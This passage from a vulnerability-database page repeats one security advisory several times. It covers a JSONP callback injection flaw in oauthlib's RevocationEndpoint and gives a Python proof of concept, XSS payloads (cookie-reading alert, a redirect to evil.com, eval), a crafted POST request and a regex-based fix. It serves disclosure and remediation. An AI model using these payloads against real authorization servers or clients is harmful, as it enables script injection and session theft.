lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-confluence-markdown-exporter-CVE-2026-49264",
"modified": "2026-10-14T10:02:09Z",
"published": "2026-09-30T21:05:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-DSTACK-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 19:10 – Updated: 2026-10-14 08:52 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "dstack",
"purl": "pkg:brew/dstack"
},
"ranges": [
{
"events": [
{
"introduced": "0.9.1"
},
{
"fixed": "0.22.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-dstack-CVE-2026-49264",
"modified": "2026-10-14T08:52:23Z",
"published": "2026-09-30T19:10:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-DUPLICITY-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-10-13 08:59 – Updated: 2026-10-14 08:57 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
